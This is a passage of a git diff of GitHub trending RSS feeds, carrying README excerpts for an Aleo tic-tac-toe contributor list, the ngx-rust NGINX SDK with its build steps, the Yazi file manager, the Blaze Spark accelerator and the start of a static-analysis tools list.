href="https://github.com/aixen1009/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/khanaya9845"><img src="https://avatars.githubusercontent.com/u/74767726?s=80&amp;u=f92a94b69a04fd8724e7fbb6ee8f07b66302b571&amp;v=4?s=100" width="100px;" alt="khanaya9845"><br><sub><b>khanaya9845</b></sub></a><br><a href="https://github.com/khanaya9845/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/OlgaBurd"><img src="https://avatars.githubusercontent.com/u/147664595?s=80&amp;v=4?s=100" width="100px;" alt="OlgaBurd"><br><sub><b> OlgaBurd</b></sub></a><br><a href="https://github.com/OlgaBurd/olgatictactoealeo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/YaakovHunag920515"><img src="https://avatars.githubusercontent.com/u/29884391?s=80&amp;v=4?s=100" width="100px;" alt="YaakovHunag920515"><br><sub><b> YaakovHunag920515</b></sub></a><br><a href="https://github.com/YaakovHunag920515/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Songoku1691"><img src="https://avatars.githubusercontent.com/u/102212067?s=80&amp;u=46b32e68400dff7ee6083c243b3b6788b798563a&amp;v=4?s=100" width="100px;" alt="Songoku1691"><br><sub><b>Songoku1691</b></sub></a><br><a href="https://github.com/Songoku1691/songokutictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Timssse"><img src="https://avatars.githubusercontent.com/u/110025936?s=80&amp;v=4?s=100" width="100px;" alt="Timssse"><br><sub><b> Timssse</b></sub></a><br><a href="https://github.com/Timssse/tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/LLoyD1337"><img src="https://avatars.githubusercontent.com/u/99583480?s=80&amp;v=4?s=100" width="100px;" alt="LLoyD1337"><br><sub><b> LLoyD1337</b></sub></a><br><a href="https://github.com/LLoyD1337/Aleo2" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/VeranOAS"><img src="https://avatars.githubusercontent.com/u/103969183?s=80&amp;u=f737e0ca182789e0fc4fb57deebdf0439d4c30f7&amp;v=4?s=100" width="100px;" alt="VeranOAS"><br><sub><b>VeranOAS</b></sub></a><br><a href="https://github.com/VeranOAS/Raven-s-aleo" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kirileshta"><img src="https://avatars.githubusercontent.com/u/129518667?s=80&amp;v=4?s=100" width="100px;" alt="kirileshta"><br><sub><b>kirileshta</b></sub></a><br><a href="https://github.com/kirileshta/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dimapr1"><img src="https://avatars.githubusercontent.com/u/147644267?s=80&amp;v=4?s=100" width="100px;" alt="dimapr1"><br><sub><b> dimapr1</b></sub></a><br><a href="https://github.com/dimapr1/tictactoe.git" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/senolcandir"><img src="https://avatars.githubusercontent.com/u/85374455?s=80&amp;u=fad923f160c982ef28335592763b7fb9c0bc3aea&amp;v=4?s=100" width="100px;" alt="senol10"><br><sub><b> senol10</b></sub></a><br><a href="https://github.com/senolcandir/senolcandir" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/hoangsoncomputer"><img src="https://avatars.githubusercontent.com/u/110523451?s=80&amp;v=4?s=100" width="100px;" alt="hoangsoncomputer"><br><sub><b>hoangsoncomputer</b></sub></a><br><a href="https://github.com/hoangsoncomputer/aleo_tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Timssse"><img src="https://avatars.githubusercontent.com/u/110025936?s=80&amp;v=4?s=100" width="100px;" alt="Timssse"><br><sub><b> Timssse</b></sub></a><br><a href="https://github.com/Timssse/tictactoe" title="“Tutorial">✅</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Erskine2022"><img src="https://avatars.githubusercontent.com/u/145164260?s=80&amp;u=92ddedf9be42988d8e067d3daa4b77c44d34b5d4&amp;v=4?s=100" width="100px;" alt="Erskine2022"><br><sub><b> Erskine2022</b></sub></a><br><a href="https://github.com/Erskine2022/tictactoe" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/CTurE1"><img src="https://avatars.githubusercontent.com/u/93711669?s=80&amp;v=4?s=100" width="100px;" alt="CTurE1"><br><sub><b>CTurE1</b></sub></a><br><a href="https://github.com/CTurE1/aleo_lottery" title="“Tutorial">✅</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/HoratioElise"><img src="https://avatars.githubusercontent.com/u/145164393?s=80&amp;u=50e5c69475f9769c167cbdaaa97a6a40c5708f8f&amp;v=4?s=100" width="100px;" alt="HoratioElise"><br><sub><b>HoratioElise</b></sub></a><br><a href="https://github.com/HoratioElise/tictactoe" title="“Tutorial">✅</a></td> </tr> </tbody> <tfoot> <tr> </tr> </tfoot> <tfoot> <tr> <td align="center" size="13px" colspan="7"> <img src="https://raw.githubusercontent.com/all-contributors/all-contributors-cli/1b8533af435da9854653492b1327a23a4dbd0a10/assets/logo-small.svg?sanitize=true"> <a href="https://all-contributors.js.org/docs/en/bot/usage">Add your contributions</a> </td> </tr> </tfoot> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>This project follows the <a href="https://github.com/all-contributors/all-contributors">all-contributors</a> specification. Contributions of any kind welcome!</p> <h2>🛡️ License</h2> <p><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/LICENSE.md"><img src="https://img.shields.io/badge/License-GPLv3-blue.svg?sanitize=true" alt="License: GPL v3"></a></p> <p align="right"><a href="https://raw.githubusercontent.com/AleoHQ/leo/testnet3/#top">🔼 Back to top</a></p> + + + nginxinc/ngx-rust + 2023-10-30T01:35:18Z + tag:github.com,2023-10-30:/nginxinc/ngx-rust + + <p>Rust binding for NGINX</p><hr><p><a href="https://github.com/nginxinc/ngx-rust/actions/workflows/ci.yaml"><img src="https://github.com/nginxinc/ngx-rust/actions/workflows/ci.yaml/badge.svg?sanitize=true" alt="Rust"></a> <a href="https://crates.io/crates/ngx"><img src="https://img.shields.io/crates/v/ngx.svg?sanitize=true" alt="crates.io"></a> <a href="https://www.repostatus.org/#concept"><img src="https://www.repostatus.org/badges/latest/concept.svg?sanitize=true" alt="Project Status: Concept – Minimal or no implementation has been done yet, or the repository is only intended to be a limited example, demo, or proof-of-concept."></a> <a href="https://github.com/nginxinc/ngx-rust/discussions"><img src="https://badgen.net/badge/support/community/cyan?icon=awesome" alt="Community Support"></a></p> <h2>Project status</h2> <p>This project is still a work in progress and not production ready.</p> <h1>Description</h1> <p>This project provides Rust SDK interfaces to the <a href="https://nginx.com">NGINX</a> proxy allowing the creation of NGINX dynamic modules completely in Rust.</p> <p>In short, this SDK allows writing NGINX modules using the Rust language.</p> <h2>Build</h2> <p>NGINX modules can be built against a particular version of NGINX. The following environment variables can be used to specify a particular version of NGINX or an NGINX dependency:</p> <ul> <li><code>ZLIB_VERSION</code> (default 1.3) -</li> <li><code>PCRE2_VERSION</code> (default 10.42)</li> <li><code>OPENSSL_VERSION</code> (default 3.0.7)</li> <li><code>NGX_VERSION</code> (default 1.23.3) - NGINX OSS version</li> <li><code>NGX_DEBUG</code> (default to false)- if set to true, then will compile NGINX <code>--with-debug</code> option</li> </ul> <p>For example, this is how you would compile the <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/examples">examples</a> using a specific version of NGINX and enabling debugging:</p> <pre><code>NGX_DEBUG=true NGX_VERSION=1.23.0 cargo build --package=examples --examples --release </code></pre> <p>To build Linux-only modules, use the "linux" feature:</p> <pre><code>cargo build --package=examples --examples --features=linux --release </code></pre> <p>After compilation, the modules can be found in the path <code>target/release/examples/</code> ( with the <code>.so</code> file extension for Linux or <code>.dylib</code> for MacOS).</p> <p>Additionally, the folder <code>.cache/nginx/{NGX_VERSION}/{OS}/</code> will contain the compiled version of NGINX used to build the SDK. You can start NGINX directly from this directory if you want to test the module.</p> <h3>Mac OS dependencies</h3> <p>In order to use the optional GNU make build process on MacOS, you will need to install additional tools. This can be done via <a href="https://brew.sh/">homebrew</a> with the following command:</p> <pre><code>brew install make openssl grep </code></pre> <p>Additionally, you may need to set up LLVM and clang. Typically, this is done as follows:</p> <pre><code># make sure xcode tools are installed xcode-select --install # instal llvm brew install --with-toolchain llvm </code></pre> <h3>Linux dependencies</h3> <p>See the <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/Dockerfile">Dockerfile</a> for dependencies as an example of required packages on Debian Linux.</p> <h3>Build example</h3> <p>Example modules are available in <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/examples">examples</a> folder. You can use <code>cargo build --package=examples --examples</code> to build these examples. After building, you can find the <code>.so</code> or <code>.dylib</code> in the <code>target/debug</code> folder. Add <code>--features=linux</code> to build linux specific modules. <strong>NOTE</strong>: adding the "linux" feature on MacOS will cause a build failure.</p> <p>For example (all examples plus linux specific): <code>cargo build --package=examples --examples --features=linux</code></p> <h3>Docker</h3> <p>We provide a multistage <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/Dockerfile">Dockerfile</a>:</p> <pre><code># build all dynamic modules examples and specify NGINX version to use docker buildx build --build-arg NGX_VERSION=1.23.3 -t ngx-rust . # start NGINX using [curl](examples/curl.conf) module example: docker run --rm -d -p 8000:8000 ngx-rust nginx -c examples/curl.conf # test it - you should see 403 Forbidden curl http://127.0.0.1:8000 -v -H "user-agent: curl" # test it - you should see 404 Not Found curl http://127.0.0.1:8000 -v -H "user-agent: foo" </code></pre> <h2>Usage</h2> <p>A complete module example using the SDK can be found <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/examples/curl.rs">here</a>. You can build it with <code>cargo build --package=examples --example=curl</code> then set up NGINX to use it:</p> <p>For example:</p> <pre><code class="language-nginx">daemon off; master_process off; # unix: # load_module modules/libcurl.so; # error_log logs/error.log debug; error_log /dev/stdout debug; working_directory /tmp/cores/; worker_rlimit_core 500M; events { } http { access_log /dev/stdout; server { listen 8000; server_name localhost; location / { alias /srv/http; # ... Other config stuff ... curl on; } } } </code></pre> <h2>Support</h2> <p>This SDK is currently unstable. Right now, our primary goal is collect feedback and stabilize it be before offering support. Feel free <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/CONTRIBUTING.md">contributing</a> by creating issues, PRs, or github discussions.</p> <p>Currently, the only supported platforms are:</p> <ul> <li>Darwin (Mac OSX)</li> <li>Linux platform</li> </ul> <h2>Roadmap</h2> <p>If you have ideas for releases in the future, please suggest them in the github discussions.</p> <h2>Contributing</h2> <p>We welcome pull requests and issues!</p> <p>Please refer to the <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/CONTRIBUTING.md">Contributing Guidelines</a> when doing a PR.</p> <h2>Authors and acknowledgment</h2> <p>This project uses some great work from <a href="https://github.com/dcoles/nginx-rs">dcoles/nginx-rs</a>, <a href="https://github.com/arvancloud/nginx-rs">arvancloud/nginx-rs</a>.</p> <h2>License</h2> <p>All code in this repository is licensed under the <a href="https://raw.githubusercontent.com/nginxinc/ngx-rust/master/LICENSE.txt">Apache License v2 license</a>.</p> \ No newline at end of file diff --git a/rust/weekly/index.xml b/rust/weekly/index.xml deleted file mode 100644 index a392aba9843..00000000000 --- a/rust/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Rust Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:01:27Z - Weekly Trending of Rust in GitHub - - - sxyazi/yazi - 2023-10-29T02:01:27Z - tag:github.com,2023-10-29:/sxyazi/yazi - - <p>💥 Blazing fast terminal file manager written in Rust, based on async I/O.</p><hr><h2>Yazi - ⚡️ Blazing Fast Terminal File Manager</h2> <p>Yazi ("duck" in Chinese) is a terminal file manager written in Rust, based on non-blocking async I/O. It aims to provide an efficient, user-friendly, and customizable file management experience.</p> <p>💫 A new article explaining its internal workings: <a href="https://github.com/sxyazi/yazi/issues/143">Why is Yazi Fast?</a></p> <ul> <li>🚀 <strong>Full Asynchronous Support</strong>: All I/O operations are asynchronous, CPU tasks are spread across multiple threads, making the most of available resources.</li> <li>💪 <strong>Powerful Async Task Scheduling and Management</strong>: Provides real-time progress updates, task cancellation, and internal task priority assignment.</li> <li>🖼️ <strong>Built-in Support for Multiple Image Protocols</strong>: Also integrated with Überzug++, covering almost all terminals.</li> <li>🌟 <strong>Built-in Code Highlighting and Image Encoding</strong>: Combined with the pre-caching mechanism, greatly accelerates image and normal file loading.</li> <li>🧰 Integration with fd, rg, fzf, zoxide</li> <li>💫 Vim-like Input component, and Select component</li> <li>🏷️ Multi-Tab Support, Scrollable Preview (for videos, PDFs, archives, directories, code, etc.)</li> <li>🔄 Batch Renaming, Visual Mode, File Chooser</li> <li>🎨 Theme System, Custom Layouts, Trash Bin, CSI u</li> <li>... and more!</li> </ul> <p><a href="https://github.com/sxyazi/yazi/assets/17523360/92ff23fa-0cd5-4f04-b387-894c12265cc7">https://github.com/sxyazi/yazi/assets/17523360/92ff23fa-0cd5-4f04-b387-894c12265cc7</a></p> <p>⚠️ Note: Yazi is currently in active development and may be unstable. The API is subject to change without prior notice.</p> <h2>Documentation</h2> <ul> <li>Usage: <a href="https://yazi-rs.github.io/usage/installation">https://yazi-rs.github.io/usage/installation</a></li> <li>Showcase: <a href="https://yazi-rs.github.io/showcase">https://yazi-rs.github.io/showcase</a></li> </ul> <h2>Discussion</h2> <ul> <li>Discord Server (English mainly): <a href="https://discord.gg/qfADduSdJu">https://discord.gg/qfADduSdJu</a></li> <li>Telegram Group (Chinese mainly): <a href="https://t.me/yazi_rs">https://t.me/yazi_rs</a></li> </ul> <h2>Image Preview</h2> <table> <thead> <tr> <th>Platform</th> <th>Protocol</th> <th>Support</th> </tr> </thead> <tbody> <tr> <td>Kitty</td> <td><a href="https://sw.kovidgoyal.net/kitty/graphics-protocol/">Terminal graphics protocol</a></td> <td>✅ Built-in</td> </tr> <tr> <td>WezTerm</td> <td><a href="https://sw.kovidgoyal.net/kitty/graphics-protocol/">Terminal graphics protocol</a></td> <td>✅ Built-in</td> </tr> <tr> <td>Konsole</td> <td><a href="https://sw.kovidgoyal.net/kitty/graphics-protocol/">Terminal graphics protocol</a></td> <td>✅ Built-in</td> </tr> <tr> <td>iTerm2</td> <td><a href="https://iterm2.com/documentation-images.html">Inline images protocol</a></td> <td>✅ Built-in</td> </tr> <tr> <td>Mintty (Git Bash)</td> <td><a href="https://iterm2.com/documentation-images.html">Inline images protocol</a></td> <td>✅ Built-in</td> </tr> <tr> <td>Hyper</td> <td><a href="https://www.vt100.net/docs/vt3xx-gp/chapter14.html">Sixel graphics format</a></td> <td>✅ Built-in</td> </tr> <tr> <td>foot</td> <td><a href="https://www.vt100.net/docs/vt3xx-gp/chapter14.html">Sixel graphics format</a></td> <td>✅ Built-in</td> </tr> <tr> <td>Black Box</td> <td><a href="https://www.vt100.net/docs/vt3xx-gp/chapter14.html">Sixel graphics format</a></td> <td>✅ Built-in</td> </tr> <tr> <td>X11 / Wayland</td> <td>Window system protocol</td> <td>☑️ Überzug++ required</td> </tr> <tr> <td>Fallback</td> <td><a href="https://hpjansson.org/chafa/">Chafa</a></td> <td>☑️ Überzug++ required</td> </tr> </tbody> </table> <p>Yazi automatically selects the appropriate preview method for you, based on the priority from top to bottom. That's relying on the <code>$TERM</code>, <code>$TERM_PROGRAM</code>, and <code>$XDG_SESSION_TYPE</code> variables, make sure you don't overwrite them by mistake!</p> <p>For instance, if your terminal is Alacritty, which doesn't support displaying images itself, but you are running on an X11/Wayland environment, it will automatically use the "Window system protocol" to display images -- this requires you to have <a href="https://github.com/jstkdng/ueberzugpp">Überzug++</a> installed.</p> <p>Here is a guide for tmux users: <a href="https://github.com/sxyazi/yazi/wiki/Image-preview-within-tmux">Image preview within tmux</a></p> <h2>TODO</h2> <p>See <a href="https://github.com/sxyazi/yazi/issues/51">Feature requests</a> for more details.</p> <h2>License</h2> <p>Yazi is MIT licensed. For more information check the <a href="https://raw.githubusercontent.com/sxyazi/yazi/main/LICENSE">LICENSE</a> file.</p> - - - blaze-init/blaze - 2023-10-29T02:01:27Z - tag:github.com,2023-10-29:/blaze-init/blaze - - <p>Blazing-fast query execution engine speaks Apache Spark language and has Arrow-DataFusion at its core.</p><hr><h1>BLAZE</h1> <p>The Blaze accelerator for Apache Spark leverages native vectorized execution to accelerate query processing. It combines the power of the <a href="https://arrow.apache.org/datafusion/">Apache Arrow-DataFusion</a> library and the scale of the Spark distributed computing framework.</p> <p>Blaze takes a fully optimized physical plan from Spark, mapping it into DataFusion's execution plan, and performs native plan computation in Spark executors.</p> <p>Blaze is composed of the following high-level components:</p> <ul> <li><strong>Spark Extension</strong>: hooks the whole accelerator into Spark execution lifetime.</li> <li><strong>Spark Shims</strong>: specialized codes for different versions of spark.</li> <li><strong>Native Engine</strong>: implements the native engine in rust, including: <ul> <li>ExecutionPlan protobuf specification</li> <li>JNI gateway</li> <li>Customized operators, expressions, functions</li> </ul> </li> </ul> <p>Based on the inherent well-defined extensibility of DataFusion, Blaze can be easily extended to support:</p> <ul> <li>Various object stores.</li> <li>Operators.</li> <li>Simple and Aggregate functions.</li> <li>File formats.</li> </ul> <p>We encourage you to <a href="https://github.com/apache/arrow-datafusion">extend DataFusion</a> capability directly and add the supports in Blaze with simple modifications in plan-serde and extension translation.</p> <h2>Build from source</h2> <p>To build Blaze, please follow the steps below:</p> <ol> <li>Install Rust</li> </ol> <p>The native execution lib is written in Rust. So you're required to install Rust (nightly) first for compilation. We recommend you to use <a href="https://rustup.rs/">rustup</a>.</p> <ol start="2"> <li>Install JDK+Maven</li> </ol> <p>Blaze has been well tested on jdk8 and maven3.5, should work fine with higher versions.</p> <ol start="3"> <li>Check out the source code.</li> </ol> <pre><code class="language-shell">git clone git@github.com:blaze-init/blaze.git cd blaze </code></pre> <ol start="4"> <li>Build the project.</li> </ol> <p><em>Specify shims package of which spark version that you would like to run on.</em> <em>You could either build Blaze in dev mode for debugging or in release mode to unlock the full potential of Blaze.</em></p> <pre><code class="language-shell">SHIM=spark333 # or spark303 MODE=release # or dev mvn package -P"${SHIM}" -P"${MODE}" </code></pre> <p>After the build is finished, a fat Jar package that contains all the dependencies will be generated in the <code>target</code> directory.</p> <h2>Build with docker</h2> <p><em>You can use the following command to build a centos-7 compatible release:</em></p> <pre><code class="language-shell">SHIM=spark333 MODE=release ./release-docker.sh </code></pre> <h2>Run Spark Job with Blaze Accelerator</h2> <p>This section describes how to submit and configure a Spark Job with Blaze support.</p> <ol> <li> <p>move blaze jar package to spark client classpath (normally <code>spark-xx.xx.xx/jars/</code>).</p> </li> <li> <p>add the follow confs to spark configuration in <code>spark-xx.xx.xx/conf/spark-default.conf</code>:</p> </li> </ol> <pre><code class="language-properties">spark.sql.extensions org.apache.spark.sql.blaze.BlazeSparkSessionExtension spark.shuffle.manager org.apache.spark.sql.execution.blaze.shuffle.BlazeShuffleManager # other blaze confs defined in spark-extension/src/main/java/org/apache/spark/sql/blaze/BlazeConf.java </code></pre> <ol start="3"> <li>submit a query with spark-sql, or other tools like spark-thriftserver:</li> </ol> <pre><code class="language-shell">spark-sql -f tpcds/q01.sql </code></pre> <h2>Performance</h2> <p>Check <a href="https://raw.githubusercontent.com/blaze-init/blaze/master/benchmark-results/20230925.md">Benchmark Results</a> with the latest date for the performance comparison with vanilla Spark on TPC-DS 1TB dataset. The benchmark result shows that Blaze saved ~40% query time and ~45% cluster resources in average. ~5x performance achieved for the best case (q06). Stay tuned and join us for more upcoming thrilling numbers.</p> <p>Query time: <img src="https://raw.githubusercontent.com/blaze-init/blaze/master/benchmark-results/blaze-query-time-comparison-20230925.png" alt="20230925-query-time"></p> <p>Cluster resources: <img src="https://raw.githubusercontent.com/blaze-init/blaze/master/benchmark-results/blaze-executor-time-comparison-20230925.png" alt="20230925-resources"></p> <p>We also encourage you to benchmark Blaze and share the results with us. 🤗</p> <h2>Community</h2> <p>We're using <a href="https://github.com/blaze-init/blaze/discussions">Discussions</a> to connect with other members of our community. We hope that you:</p> <ul> <li>Ask questions you're wondering about.</li> <li>Share ideas.</li> <li>Engage with other community members.</li> <li>Welcome others and are open-minded. Remember that this is a community we build together 💪 .</li> </ul> <h2>License</h2> <p>Blaze is licensed under the Apache 2.0 License. A copy of the license <a href="https://raw.githubusercontent.com/blaze-init/blaze/master/LICENSE.txt">can be found here.</a></p> - - - analysis-tools-dev/static-analysis - 2023-10-29T02:01:27Z - tag:github.com,2023-10-29:/analysis-tools-dev/static-analysis - - <p>⚙️ A curated list of static analysis (SAST) tools and linters for all programming languages, config files, build tools, and more. The focus is on tools which improve code quality.</p><hr><a href="https://analysis-tools.dev/"> <img alt="Analysis Tools Website" src="https://raw.githubusercontent.com/analysis-tools-dev/assets/master/static/redesign.svg?sanitize=true"> </a> <p>This repository lists <strong>static analysis tools</strong> for all programming languages, build tools, config files and more. The focus is on tools which improve code quality such as linters and formatters. The official website, <a href="https://analysis-tools.dev/">analysis-tools.dev</a> is based on this repository and adds rankings, user comments, and additional resources like videos for each tool.</p> <p><a href="https://analysis-tools.dev"><img src="https://img.shields.io/badge/Website-Online-2B5BAE" alt="Website"></a> <img src="https://github.com/analysis-tools-dev/static-analysis/workflows/CI/badge.svg?sanitize=true" alt="CI"></p> <h2>Sponsors</h2> <p>This project would not be possible without the generous support of our sponsors.</p> <table> <tbody> <tr> <td> <a href="https://www.bearer.com"> <picture> <source width="200px" media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/analysis-tools-dev/assets/master/static/sponsors/bearer-dark.svg"> <img width="200px" alt="Bearer" src="https://raw.githubusercontent.com/analysis-tools-dev/assets/master/static/sponsors/bearer-light.svg?sanitize=true"> </picture> </a> </td> <td><a href="https://codescene.io/"><img width="200px" src="https://raw.githubusercontent.com/analysis-tools-dev/assets/master/static/sponsors/codescene.svg?sanitize=true"></a></td> <td><a href="https://semgrep.dev/"><img width="200px" src="https://raw.githubusercontent.com/analysis-tools-dev/assets/master/static/sponsors/semgrep.svg?sanitize=true"></a></td> <td><a href="https://offensive360.com/"><img width="200px" src="https://raw.githubusercontent.com/analysis-tools-dev/assets/master/static/sponsors/offensive360.png"></a></td> </tr> </tbody> </table> <p>If you also want to support this project, head over to our <a href="https://github.com/sponsors/analysis-tools-dev">Github sponsors page</a>.</p> <h2>Meaning of Symbols:</h2> <ul> <li><span>©</span> stands for proprietary software. All other tools are Open Source.</li> <li><span>ℹ</span> indicates that the community does not recommend to use this tool for new projects anymore. The icon links to the discussion issue.</li> <li><span>⚠</span> means that this tool was not updated for more than 1 year, or the repo was archived.</li> </ul> <p>Pull requests are very welcome!<br> Also check out the sister project, <a href="https://github.com/mre/awesome-dynamic-analysis">awesome-dynamic-analysis</a>.</p> <h2>Table of Contents</h2> <h4><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#programming-languages-1">Programming Languages</a></h4> <ul> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#abap">ABAP</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#ada">Ada</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#asm">Assembly</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#awk">Awk</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#c">C</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#csharp">C#</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#cpp">C++</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#clojure">Clojure</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#coffeescript">CoffeeScript</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#coldfusion">ColdFusion</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#crystal">Crystal</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#dart">Dart</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#delphi">Delphi</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#dlang">Dlang</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#elixir">Elixir</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#elm">Elm</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#erlang">Erlang</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#fsharp">F#</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#fortran">Fortran</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#go">Go</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#groovy">Groovy</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#haskell">Haskell</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#haxe">Haxe</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#java">Java</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#javascript">JavaScript</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#julia">Julia</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#kotlin">Kotlin</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#lua">Lua</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#matlab">MATLAB</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#nim">Nim</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#ocaml">Ocaml</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#php">PHP</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#plsql">PL/SQL</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#perl">Perl</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#python">Python</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#r">R</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#rego">Rego</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#ruby">Ruby</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#rust">Rust</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#sql">SQL</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#scala">Scala</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#shell">Shell</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#swift">Swift</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#tcl">Tcl</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#typescript">TypeScript</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#verilog">Verilog/SystemVerilog</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#vim-script">Vim Script</a></li> </ul> <h4><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#multiple-languages-1">Multiple Languages</a></h4> <h4><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#other-1">Other</a></h4> <details> <summary>Show Other</summary> <ul> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#dotenv">.env</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#ansible">Ansible</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#archive">Archive</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#arm">Azure Resource Manager</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#binary">Binaries</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#buildtool">Build tools</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#css">CSS/SASS/SCSS</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#configfile">Config Files</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#configmanagement">Configuration Management</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#container">Containers</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#ci">Continuous Integration</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#deno">Deno</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#embedded">Embedded</a></li> <li><a 